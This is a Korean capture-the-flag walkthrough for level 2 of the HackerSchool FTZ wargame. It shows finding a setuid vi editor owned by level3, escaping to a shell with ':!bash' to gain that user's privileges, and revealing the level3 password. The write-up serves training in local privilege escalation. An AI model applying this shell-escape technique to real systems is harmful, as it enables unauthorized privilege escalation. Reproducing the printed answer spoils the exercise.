[HackerSchool] 해커스쿨 FTZ: level2

$ cat hint

[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

 

이번 문제는 파일을 편집할때 얻은 권한으로 바로 쉘 명령,
즉 my-pass를 실행시켜서 패스워드를 얻어내는 문제다.

일단 level3 권한을 줄 수 있으면서 편집할 수 있는 파일을 찾아보자

 

$ find / -user level3

[level2@ftz level2]$ find / -user level3
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
...
/usr/bin/editor
...
find: /home/trainer7: Permission denied
find: /home/trainer8: Permission denied
find: /home/trainer9: Permission denied

 

수많은 접근 불가 파일들 사이 접근 가능한 /usr/bin/editor 가 보인다

바로 실행시켜주자

 

$ /usr/bin/editor

파일을 편집할 수 있는 편집기가 나온다.

vi 에디터라 이것저것 글자도 바꾸고 수정도 할 수 있지만
우리가 해야할건 여기서 명령어를 수행하는것.

vi 에디터 내에서 느낌표(!)를 앞에 붙이면 명령을 수행할 수 있다,
물론 해당 편집을 하고 있는 권한으로!!

현재 권한(level3)으로 bash 쉘을 열어버리자

 

:!bash

[level3@ftz bin]$

 

에디터 밖으로 나가졌지만 자세히 보면 유저가 level3로 되어있다

그럼 이제 my-pass를 실행하여 비번을 가져가자

 

$ my-pass

[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".